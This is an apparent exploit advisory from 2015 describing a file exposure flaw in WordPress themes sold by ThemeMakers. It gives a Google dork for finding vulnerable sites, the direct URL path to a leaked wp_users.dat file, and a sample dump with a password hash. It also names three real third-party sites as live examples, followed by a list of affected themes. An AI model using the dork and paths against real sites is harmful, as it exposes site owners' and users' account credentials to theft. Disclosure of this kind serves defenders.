ThemeMakers WordPress Themes Information Disclosure

`# WordPress 'ALL Themes' Developed By "ThemeMakers" File Information Exposure  
# CWE: CWE-538  
# Risk: High  
# Author: Hugo Santiago dos Santos  
# Contact: [email protected]  
# Date: 15/05/2015  
# Vendor Homepage: http://themeforest.net/user/ThemeMakers/portfolio (ALL THEMES)  
# Google Dork: inurl:/wp-content/uploads/tmm_db_migrate/  
  
# PoC :   
  
http://SITE.com/wp-content/uploads/tmm_db_migrate/wp_users.dat  
  
Target File: wp_users.dat  
  
array (  
0 =>   
array (  
'ID' => '1',  
'user_login' => 'xxxxxx',  
'user_pass' => '$P$B5GFS1KH2VkkSZhAOAu0MT.XbNtZ1Q0',  
'user_nicename' => '',  
'user_email' => '[email protected]',  
'user_url' => '',  
'user_registered' => '2014-05-06 13:22:47',  
'user_activation_key' => '',  
'user_status' => '0',  
'display_name' => '',  
),  
)  
  
  
# Examples:  
  
http://ibermalla.com/wp-content/uploads/tmm_db_migrate/wp_users.dat  
http://bdfoto.net/wp-content/uploads/tmm_db_migrate/wp_users.dat  
http://www.cy-play.com/wp-content/uploads/tmm_db_migrate/wp_users.dat  
  
# Themes Probably Affected:  
  
Diplomat | Political WordPress Theme  
Car Dealer / Auto Dealer Responsive WP Theme  
Invento Responsive Gallery/Architecture Template  
Accio One Page Parallax Responsive WordPress Theme  
Accio Responsive Parallax One Page Site Template  
Axioma Premium Responsive WordPress Theme  
Almera Responsive Portfolio WordPress Theme  
Almera Responsive Portfolio Site Template  
Goodnex Premium Responsive WordPress Theme  
GamesTheme Premium WordPress Theme  
Blessing Premium Responsive WordPress Theme  
SmartIT Premium Responsive WordPress Theme  
....  
  
And Others...  
`